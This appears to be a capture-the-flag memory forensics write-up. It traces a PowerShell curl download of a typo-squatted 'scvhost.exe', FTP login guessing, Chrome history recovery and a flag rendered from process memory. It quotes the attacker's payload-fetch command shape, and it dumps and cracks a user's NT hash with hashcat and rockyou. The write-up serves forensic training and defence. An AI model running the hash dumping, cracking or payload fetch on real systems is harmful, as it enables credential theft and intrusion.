You’ve been a SOC analyst for the last 4 years but you’ve been honing your incident response skills! It’s about time you bite the bullet and go for your dream job as an Incident Responder as that’s the path you’d like your career to follow. Currently you are going through the interview process for a medium size incident response internal team and the cocky interviewing responder has given you a tough technical challenge to test your memory forensics aptitude. Can you get all the questions right and secure the job?
An attacker on the local network served a payload over HTTP and a PowerShell session on the victim pulled it down with curl. The binary was named to pass for a core Windows process and ran from the user’s Downloads folder. The same host had also taken FTP login guesses against its FileZilla server, and the user’s browser history and NT hash were both still resident in RAM; a stock wordlist recovered the password. A final flag was never stored as text: it was drawn on a canvas in a running process and only appeared once that process’s memory was rendered as an image.
.vmem capture → vol (Volatility 3) for process, network, file and hash plugins; strings for raw textwindows.dumpfiles → query with sqlite3Timestamp note: Q1 wants
YYYY-MM-DD hh:mm:ss.windows.infoprintsSystemTimein UTC, so copy it as shown.
windows.info reads KUSER_SHARED_DATA and reports SystemTime, the clock at the moment of capture. It anchors every other timestamp in the dump.
vol -f mellitus.vmem windows.info
Dump the process tree and read the image paths. One process runs from the user’s Downloads folder under a name that is a one-letter transposition of the Windows service host. The real one lives in System32 and is started by services.exe, so a lookalike in a profile folder stands out.
vol -f mellitus.vmem windows.pstree > pstree.txt
Gotcha: The name is a typo-squat. Copy it character for character from the pstree output, and note that HTB accepted it with the capital
Sexactly as the process list shows it.
From Q3, read the PPID column on the suspicious row, then find that PID elsewhere in the same tree. The parent is powershell.exe, which fits a binary downloaded and started from a console.
grep -iE 'scvhost|powershell' pstree.txt
Console input from the PowerShell session is still resident in memory. Carve strings from the raw image and grep for the dropped filename from Q3. The hit is a curl -o pulling the binary from an HTTP server on port 8000.
strings -a mellitus.vmem > s_a.txt
grep -a 'scvhost' s_a.txt | sort -u
Tip: The format mask gives the shape
curl -o name http://ip:port/name. Search for the filename rather thancurl, which matches far more noise.
windows.netscan lists the sockets in the image, and the attacker address appears against the FileZilla FTP port. It is the same host the Q5 download command points at, and it is the source of the login attempts in the FileZilla log held in memory, so three artifacts agree.
vol -f mellitus.vmem windows.netscan > netscan.txt
The FileZilla server log is in memory as plain text. Pull the USER commands from the string dump and count the distinct names. Three values appear: kalilinux123, admin and kali.
grep -aoE 'USER [A-Za-z0-9_]+' s_a.txt | sort | uniq -c
Dump the local hashes with windows.hashdump. The mask (nine characters then a digit) points at a weak human-chosen password, so feed the NT hash for the user BantingFG to hashcat in mode 1000 with rockyou.
vol -f mellitus.vmem windows.hashdump
hashcat -m 1000 --username h.txt /usr/share/dict/rockyou.txt
Gotcha: hashcat rejects the dump format without
--username, because each line carries theuser:rid:lm:ntprefix.
Plain strings matches too many URLs to rank by recency. Locate the Chrome History file with windows.filescan, carve it with windows.dumpfiles and query its urls table sorted by last visit time. The newest row is the answer; Chrome stores times as microseconds since 1601, hence the offset in the query.
vol -f mellitus.vmem windows.filescan | grep -i 'History'
vol -f mellitus.vmem -o dump windows.dumpfiles --virtaddr 0xc40aa9259df0
sqlite3 History "select url, datetime(last_visit_time/1000000-11644473600,'unixepoch') from urls order by last_visit_time desc limit 1"
Strings and environment variables for PID 5116 held nothing, and a PNG signature search found nothing to carve. The flag is handwritten on a canvas, so it exists only as pixels. Dump the process address space with windows.memmap --dump, then render byte ranges with Python as a raw BGRA bitmap at a 759 pixel width. Scanning for blocks that are over 93% 0xFF finds the white canvas quickly, and the regions at offsets 7471104 and 12910592 render the handwritten text.
vol -f mellitus.vmem -o d5116 windows.memmap --pid 5116 --dump
python3 -I render.py d5116/pid.5116.dmp 7471104 --width 759 --mode BGRA
Gotcha: Rendering the whole dump with autocorrelation took about ten minutes and only turned up desktop window manager screenshots. Go straight to the near-white blocks.
Note:
render.pyis a short PIL script that reshapes a byte range into a BGRA image at a chosen width.
| Phase | Action |
|---|---|
| Credential Access | FTP login guesses against the FileZilla server from the attacker machine |
| Command and Control | Attacker serves a payload over HTTP on port 8000 |
| Execution | PowerShell on the victim fetches the payload with curl -o |
| Defense Evasion | Payload named as a typo of a system process and run from Downloads |
| Collection | Last browser visit recorded in Chrome history |
| Credential Access | User NT hash sits in memory and falls to rockyou |
| Collection | A flag drawn on a canvas remains in a process’s memory as pixels |
| Type | Value |
|---|---|
| IP (attacker) | 192.168.157[.]151 |
| URL (payload) | hxxp[://]192[.]168[.]157[.]151:8000/scvhost[.]exe |
| File | Downloads\scvhost.exe |
| Command | curl -o scvhost.exe pulling the payload |
| Account | BantingFG (NT hash cracked) |
| Technique | ID | Description |
|---|---|---|
| Command and Scripting Interpreter: PowerShell | T1059.001 | PowerShell fetched and launched the binary |
| Masquerading: Match Legitimate Name or Location | T1036.005 | Payload named like the Windows service host |
| Ingress Tool Transfer | T1105 | curl pulled the binary from the attacker host |
| Brute Force | T1110 | FTP login guesses against the host |
| OS Credential Dumping: Security Account Manager | T1003.002 | Local NT hash recovered from memory and cracked |
| Browser Information Discovery | T1217 | Chrome history recovered from the dump |
| Screen Capture | T1113 | Rendering process memory exposed on-screen canvas content |
A binary in a user folder named like a system process is a one-query detection. Genuine service hosts run from System32 under services.exe. Alert on any well-known system image name whose path or parent doesn’t match, and a transposed-letter lookalike is caught on first launch.
Memory holds what disk never saw. The download command, the FTP log and the browser history all came from one image. Capture memory early in an intrusion and use structured plugins before falling back on raw strings.
FTP exposed to the internal network invited guessing. Three distinct usernames were tried against FileZilla. Restrict the service to known hosts and alert on repeated failed USER/PASS sequences from one source.
Weak local passwords fall in seconds. The NT hash cracked with a stock wordlist. Enforce long, non-dictionary passwords and protect LSASS and SAM material from dumping.
The attacker pulled a disguised binary onto the machine with one curl command and left almost everything else sitting in RAM: the command, the FTP attempts, the browsing and a crackable hash. Memory analysis answered every question, including a flag that existed only as pixels.